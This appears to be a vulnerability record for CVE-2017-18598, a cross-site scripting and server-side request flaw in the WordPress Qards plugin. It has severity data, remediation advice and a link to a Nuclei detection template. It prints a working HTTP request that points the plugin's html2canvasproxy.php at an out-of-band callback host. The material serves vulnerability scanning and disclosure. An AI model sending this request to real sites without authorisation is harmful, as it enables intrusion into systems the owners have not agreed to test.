| Title | WordPress Qards - Cross-Site Scripting |
|---|---|
| Author | pussycat0x |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02107 |
| CVE ID | CVE-2017-18598 |
| CWE ID | CWE-79 |
| Tags | cve2017 cve wp-plugin oast wpscan wordpress ssrf xss designmodo vuln |
WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/qards/html2canvasproxy.php?url=https://d5jqd11le0o3302thbg0uy9rhwqdgdwbh.oast.pro HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18598.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18598.pcap
N/AN/A